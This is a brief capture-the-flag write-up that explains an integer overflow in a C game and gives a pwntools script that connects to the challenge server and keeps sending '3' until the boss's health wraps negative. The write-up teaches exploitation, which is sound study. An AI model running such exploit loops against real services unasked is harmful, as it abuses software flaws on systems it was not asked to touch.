

In C, there is always an overflow limit to integers, meaning after a certain amount they wrap around to negative. This is exactly what we need to exploit here. We need to make a script that picks "3" until the boss' health wraps around to the negative.

A quick solve script looks like this:

```
from pwn import *
r = remote("34.89.200.183", 30315)
while (1):
    try:
        r.recvuntil("F4\n")
        r.sendline("3")
    except:
        print(r.recv())
        break
```
